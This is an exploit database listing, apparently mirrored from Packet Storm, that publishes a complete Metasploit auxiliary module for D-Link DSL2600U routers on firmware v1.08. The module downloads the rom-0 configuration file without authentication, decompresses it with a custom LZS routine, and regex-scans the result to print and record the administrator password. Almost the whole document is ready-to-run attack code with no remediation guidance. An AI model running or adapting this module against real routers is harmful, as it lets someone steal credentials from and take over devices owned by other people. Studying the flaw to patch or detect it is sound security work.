Lucene search
K

📄 D-Link DSL2600U rom-0 Admin Password Disclosure

🗓️ 17 Jun 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 36 Views

D-Link DSL2600U v1.08 allows unauthenticated rom-0 config download with admin password.

Code
==================================================================================================================================
    | # Title     : D-Link DSL2600U rom-0 Admin Password Disclosure                                                                  |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits)                                                 |
    | # Vendor    : https://www.dlink.com                                                                                            |
    ==================================================================================================================================
    
    [+] Summary    :  a vulnerability in D-Link DSL2600U routers (firmware version v1.08) that allows unauthenticated attackers to download the `rom-0` configuration file containing the administrator password.
    
    [+] POC        :  
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Auxiliary
      include Msf::Exploit::Remote::HttpClient
      include Msf::Auxiliary::Scanner
      include Msf::Auxiliary::Report
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'D-Link DSL2600U rom-0 Admin Password Disclosure',
            'Description' => %q{
              This module exploits a vulnerability in D-Link DSL2600U routers
              (firmware version v1.08) that allows unauthenticated attackers
              to download the `rom-0` configuration file containing the
              administrator password. The `rom-0` file is compressed using
              LZS compression. After decompression, the admin credentials
              can be extracted in cleartext.
    
              This vulnerability affects D-Link DSL-2600U routers and potentially
              other D-Link models that expose the `rom-0` file.
            },
            'Author' => ['indoushka'],
            'References' => [
              ['URL', 'https://github.com/amirhosseinjamshidi64'],
              ['URL', 'https://www.dlink.com']
            ],
            'DisclosureDate' => '2026-05-02',
            'License' => MSF_LICENSE,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [],
              'SideEffects' => [IOC_IN_LOGS]
            }
          )
        )
        register_options([
          OptString.new('TARGETURI', [true, 'The path to the rom-0 file', '/rom-0']),
          OptString.new('OUTPUT_FILE', [false, 'Save decompressed rom-0 to file']),
          OptBool.new('EXTRACT_CREDS', [true, 'Extract credentials from decompressed data', true])
        ])
      end
      class LZSDecompress
        def self.decompress(data)
          return nil if data.nil? || data.empty?
          output = ''
          idx = 0
          data_len = data.length
          while idx < data_len
            ctrl = data[idx].unpack('C')[0]
            idx += 1
            
            if ctrl == 0
              output << "\x00"
              next
            end
            if ctrl & 0x80 == 0
              count = ctrl & 0x1F
              if count == 0
                count = 31
              end
              if idx + count > data_len
                count = data_len - idx
              end
              output << data[idx, count]
              idx += count
            else
              if ctrl & 0x40 == 0
                offset = ((ctrl & 0x1F) << 8) | data[idx].unpack('C')[0]
                count = ((ctrl >> 5) & 0x03) + 2
                idx += 1
                if offset > output.length
                  offset = output.length
                end
                start_pos = output.length - offset
                if start_pos >= 0 && start_pos < output.length
                  (0...count).each do |i|
                    pos = start_pos + i
                    if pos < output.length
                      output << output[pos]
                    else
                      output << "\x00"
                    end
                  end
                else
                  output << "\x00" * count
                end
              else
                offset = ((ctrl & 0x3F) << 8) | data[idx].unpack('C')[0]
                count = ((ctrl >> 2) & 0x0F) + 3
                idx += 1
                if offset > output.length
                  offset = output.length
                end
                start_pos = output.length - offset
                if start_pos >= 0 && start_pos < output.length
                  (0...count).each do |i|
                    pos = start_pos + i
                    if pos < output.length
                      output << output[pos]
                    else
                      output << "\x00"
                    end
                  end
                else
                  output << "\x00" * count
                end
              end
            end
          end
          output
        rescue => e
          vprint_error("LZS decompression error: #{e.message}")
          nil
        end
      end
      def fetch_rom0
        uri = normalize_uri(target_uri.path)
        print_status("Downloading #{uri} from #{peer}")
        
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => uri
        )
        if res && res.code == 200
          print_good("Successfully downloaded rom-0 file (#{res.body.length} bytes)")
          return res.body
        else
          print_error("Failed to download rom-0 file: HTTP #{res&.code || 'no response'}")
          return nil
        end
      end
      def extract_credentials(decompressed_data)
        credentials = []
        patterns = [
          /(?:password|pass|admin_password|adminpass)[\s]*[=:][\s]*["']?([^"'\s,]+)/i,
          /"password"\s*:\s*"([^"]+)"/i,
          /'password'\s*:\s*'([^']+)'/i,
          /<password>([^<]+)<\/password>/i,
          /admin[_-]?password[_-]?[\s]*[=:][\s]*["']?([^"'\s,]+)/i,
          /(?:user|admin)[\s]*[=:][\s]*["']?([^"'\s,]+)/i
        ]
        cred_pattern = /([a-zA-Z0-9_]+)[\s]*[=:][\s]*([a-zA-Z0-9_!@#$%^&*]+)/i
        
        decompressed_data.scan(cred_pattern) do |match|
          if match[0] =~ /(user|admin|root|password|pass)/i
            credentials << { username: match[0], password: match[1] }
          end
        end
        
        patterns.each do |pattern|
          decompressed_data.scan(pattern) do |match|
            if match.is_a?(Array)
              credentials << { type: 'password', value: match[0] }
            else
              credentials << { type: 'password', value: match }
            end
          end
        end
        admin_patterns = [
          /admin[:\s]+([a-zA-Z0-9_!@#$%^&*]+)/i,
          /Administrator[:\s]+([a-zA-Z0-9_!@#$%^&*]+)/i,
          /root[:\s]+([a-zA-Z0-9_!@#$%^&*]+)/i
        ]
        admin_patterns.each do |pattern|
          match = decompressed_data.match(pattern)
          if match
            credentials << { type: 'admin_password', value: match[1] }
          end
        end
        credentials.uniq
      end
      def find_admin_password(decompressed_data)
        match = decompressed_data.match(/pwdAdmin\s*=\s*"([^"]+)"/i)
        return match[1] if match
        match = decompressed_data.match(/admin_password\s*=\s*([^\s]+)/i)
        return match[1] if match
        match = decompressed_data.match(/"password"\s*:\s*"([^"]+)"/i)
        return match[1] if match
        lines = decompressed_data.split("\n")
        lines.each do |line|
          if line =~ /admin/i && line =~ /(=|:)/i
            parts = line.split(/[=:]/)
            if parts.length >= 2
              candidate = parts[1].strip.gsub(/["']/, '')
              if candidate.length >= 4 && candidate.length <= 32
                return candidate
              end
            end
          end
        end
        
        nil
      end
      def save_output(data, filename)
        begin
          File.open(filename, 'wb') do |f|
            f.write(data)
          end
          print_good("Saved output to #{filename}")
          return true
        rescue => e
          print_error("Failed to save output: #{e.message}")
          return false
        end
      end
      def run_host(ip)
        print_status("D-Link DSL2600U - rom-0 Admin Password Disclosure")
        print_status("Target: #{peer}")
        rom0_data = fetch_rom0
        if rom0_data.nil? || rom0_data.empty?
          print_error("Could not retrieve rom-0 file")
          return
        end
        if datastore['OUTPUT_FILE']
          save_output(rom0_data, "#{datastore['OUTPUT_FILE']}.raw")
        end
        print_status("Decompressing LZS data...")
        decompressed_data = nil
        offsets_to_try = [0, 8568, 1024, 2048, 4096, 8192]
        offsets_to_try.each do |offset|
          if offset < rom0_data.length
            vprint_status("Trying decompression at offset #{offset}")
            decompressed = LZSDecompress.decompress(rom0_data[offset..-1])
            if decompressed && decompressed.length > 100
              decompressed_data = decompressed
              print_good("Successfully decompressed data from offset #{offset} (#{decompressed_data.length} bytes)")
              break
            end
          end
        end
        
        if decompressed_data.nil? || decompressed_data.empty?
          decompressed_data = LZSDecompress.decompress(rom0_data)
          if decompressed_data && decompressed_data.length > 100
            print_good("Successfully decompressed entire file (#{decompressed_data.length} bytes)")
          else
            print_error("Failed to decompress rom-0 data")
            return
          end
        end
        if datastore['OUTPUT_FILE']
          save_output(decompressed_data, datastore['OUTPUT_FILE'])
        end
        if datastore['EXTRACT_CREDS']
          print_status("Extracting credentials from decompressed data...")
          admin_password = find_admin_password(decompressed_data)
          if admin_password
            print_good("Found admin password: #{admin_password}")
            report_cred(
              host: ip,
              port: datastore['RPORT'],
              service_name: 'http',
              user: 'admin',
              private_data: admin_password,
              private_type: :password,
              source_id: 'dlink_rom0_disclosure'
            )
          else
            credentials = extract_credentials(decompressed_data)
            if credentials.empty?
              print_warning("No credentials found in decompressed data")
              readable_strings = decompressed_data.scan(/[ -~]{8,}/)
              if readable_strings.any?
                print_status("Found readable strings that might contain credentials:")
                readable_strings.each do |str|
                  if str =~ /[a-zA-Z0-9]{6,}/ && str.length >= 6 && str.length <= 32
                    print_status("  Possible credential: #{str}")
                  end
                end
              end
            else
              print_good("Found #{credentials.length} potential credential(s):")
              credentials.each do |cred|
                if cred[:username] && cred[:password]
                  print_status("  #{cred[:username]} : #{cred[:password]}")
                  report_cred(
                    host: ip,
                    port: datastore['RPORT'],
                    service_name: 'http',
                    user: cred[:username],
                    private_data: cred[:password],
                    private_type: :password
                  )
                elsif cred[:value]
                  print_status("  Password found: #{cred[:value]}")
                  report_cred(
                    host: ip,
                    port: datastore['RPORT'],
                    service_name: 'http',
                    user: 'unknown',
                    private_data: cred[:value],
                    private_type: :password
                  )
                end
              end
            end
          end
        end
        print_good("Exploit completed")
      end
    end
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation